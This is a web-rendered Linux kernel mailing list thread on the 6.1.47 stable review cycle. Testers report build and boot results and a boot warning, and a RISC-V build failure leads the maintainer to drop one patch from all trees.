This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build test (gcc version 12.3.1 20230625):
mips: 52 configs -> no failure
arm: 100 configs -> no failure
arm64: 3 configs -> no failurex86_64: 4 configs -> no failure
alpha allmodconfig -> no failure
csky allmodconfig -> no failure
powerpc allmodconfig -> no failure
riscv allmodconfig -> no failure
s390 allmodconfig -> no failure
xtensa allmodconfig -> no failure
Boot test:x86_64: Booted on my test laptop. Warning on boot, already reported by others.x86_64: Booted on qemu. Warning on boot, already reported by others. [1]
arm64: Booted on rpi4b (4GB model). No regression. [2]
mips: Booted on ci20 board. No regression. [3]
[1]. https://openqa.qa.codethink.co.uk/tests/4765
[2]. https://openqa.qa.codethink.co.uk/tests/4773
[3]. https://openqa.qa.codethink.co.uk/tests/4772
Signature · 2 lines
Regards Sudip
Greg Kroah-Hartman
maintainerQuoted 29 lines · Sudip Mukherjee (Codethink)
Hi Greg,
Quoted 7 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build test (gcc version 12.3.1 20230625):
mips: 52 configs -> no failure
arm: 100 configs -> no failure
arm64: 3 configs -> no failurex86_64: 4 configs -> no failure
alpha allmodconfig -> no failure
csky allmodconfig -> no failure
powerpc allmodconfig -> no failure
riscv allmodconfig -> no failure
s390 allmodconfig -> no failure
xtensa allmodconfig -> no failureBoot test:
x86_64: Booted on my test laptop. Warning on boot, already reported by others.x86_64: Booted on qemu. Warning on boot, already reported by others. [1]
arm64: Booted on rpi4b (4GB model). No regression. [2]
mips: Booted on ci20 board. No regression. [3]
Quoted 9 lines
[1]. https://openqa.qa.codethink.co.uk/tests/4765
[2]. https://openqa.qa.codethink.co.uk/tests/4773
[3]. https://openqa.qa.codethink.co.uk/tests/4772Tested-by Sudip Mukherjee <[email protected]>Signature · 2 lines
Regards Sudip
One question about the warning on boot, all still works afterward, right? Or does the system not work?
thanks,
greg k-h
Quoted 35 lines · Greg Kroah-Hartman
Quoted 33 lines · Sudip Mukherjee (Codethink)
Hi Greg,
Quoted 7 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build test (gcc version 12.3.1 20230625):
mips: 52 configs -> no failure
arm: 100 configs -> no failure
arm64: 3 configs -> no failurex86_64: 4 configs -> no failure
alpha allmodconfig -> no failure
csky allmodconfig -> no failure
powerpc allmodconfig -> no failure
riscv allmodconfig -> no failure
s390 allmodconfig -> no failure
xtensa allmodconfig -> no failureBoot test:
x86_64: Booted on my test laptop. Warning on boot, already reported by others.x86_64: Booted on qemu. Warning on boot, already reported by others. [1]
arm64: Booted on rpi4b (4GB model). No regression. [2]
mips: Booted on ci20 board. No regression. [3][1]. https://openqa.qa.codethink.co.uk/tests/4765
[2]. https://openqa.qa.codethink.co.uk/tests/4773
[3]. https://openqa.qa.codethink.co.uk/tests/4772
Quoted 8 lines
Quoted 5 lines
Tested-by Sudip Mukherjee <[email protected]>--
Regards
SudipOne question about the warning on boot, all still works afterward, right? Or does the system not work?
The warning while booting and root login successful and LTP and other test runs are successful.
- Naresh
Quoted 43 lines · Naresh Kamboju
Quoted 41 lines · Greg Kroah-Hartman
Quoted 38 lines · Sudip Mukherjee (Codethink)
Hi Greg,
Quoted 7 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build test (gcc version 12.3.1 20230625):
mips: 52 configs -> no failure
arm: 100 configs -> no failure
arm64: 3 configs -> no failurex86_64: 4 configs -> no failure
alpha allmodconfig -> no failure
csky allmodconfig -> no failure
powerpc allmodconfig -> no failure
riscv allmodconfig -> no failure
s390 allmodconfig -> no failure
xtensa allmodconfig -> no failureBoot test:
x86_64: Booted on my test laptop. Warning on boot, already reported by others.x86_64: Booted on qemu. Warning on boot, already reported by others. [1]
arm64: Booted on rpi4b (4GB model). No regression. [2]
mips: Booted on ci20 board. No regression. [3][1]. https://openqa.qa.codethink.co.uk/tests/4765
[2]. https://openqa.qa.codethink.co.uk/tests/4773
[3]. https://openqa.qa.codethink.co.uk/tests/4772Tested-by Sudip Mukherjee <[email protected]>--
Regards
Sudip
Quoted 6 lines
Quoted 2 lines
One question about the warning on boot, all still works afterward, right? Or does the system not work?
The warning while booting and root login successful and LTP and other test runs are successful.
Same here.
Guenter
Quoted 35 lines · Greg Kroah-Hartman
Quoted 33 lines · Sudip Mukherjee (Codethink)
Hi Greg,
Quoted 7 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
Build test (gcc version 12.3.1 20230625):
mips: 52 configs -> no failure
arm: 100 configs -> no failure
arm64: 3 configs -> no failurex86_64: 4 configs -> no failure
alpha allmodconfig -> no failure
csky allmodconfig -> no failure
powerpc allmodconfig -> no failure
riscv allmodconfig -> no failure
s390 allmodconfig -> no failure
xtensa allmodconfig -> no failureBoot test:
x86_64: Booted on my test laptop. Warning on boot, already reported by others.x86_64: Booted on qemu. Warning on boot, already reported by others. [1]
arm64: Booted on rpi4b (4GB model). No regression. [2]
mips: Booted on ci20 board. No regression. [3][1]. https://openqa.qa.codethink.co.uk/tests/4765
[2]. https://openqa.qa.codethink.co.uk/tests/4773
[3]. https://openqa.qa.codethink.co.uk/tests/4772
Quoted 8 lines
Quoted 5 lines
Tested-by Sudip Mukherjee <[email protected]>--
Regards
SudipOne question about the warning on boot, all still works afterward, right? Or does the system not work?
I did not notice any problem in testing after boot. Only the warning.
Signature · 2 lines
Regards Sudip
Quoted 4 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Fails to build for me with gcc-11/binutils 2.37 on RISC-V. The problematic patch is "riscv: Handle zicsr/zifencei issue between gcc and binutils". Can you drop that please, probably from all of your branches. It certainly affects 6.4 too & I don't personally test anything older than 6.1.
Thanks,
Conor.
Quoted 6 lines · Conor Dooley
Quoted 4 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 6 lines
Fails to build for me with gcc-11/binutils 2.37 on RISC-V. The problematic patch is "riscv: Handle zicsr/zifencei issue between gcc and binutils". Can you drop that please, probably from all of your branches. It certainly affects 6.4 too & I don't personally test anything older than 6.1.
If I recall correctly, I had to be careful with combining gcc versions and binutils versions. gcc 11.4.0 combined with binutils 2.40 works fine for me. Note that this doesn't just affect riscv. loongarch and ppc are quite notorious for that as well.
Guenter
Greg Kroah-Hartman
maintainerQuoted 11 lines · Conor Dooley
Quoted 4 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Fails to build for me with gcc-11/binutils 2.37 on RISC-V. The problematic patch is "riscv: Handle zicsr/zifencei issue between gcc and binutils". Can you drop that please, probably from all of your branches. It certainly affects 6.4 too & I don't personally test anything older than 6.1.
I've dropped that patch now from all trees, thanks.
greg k-h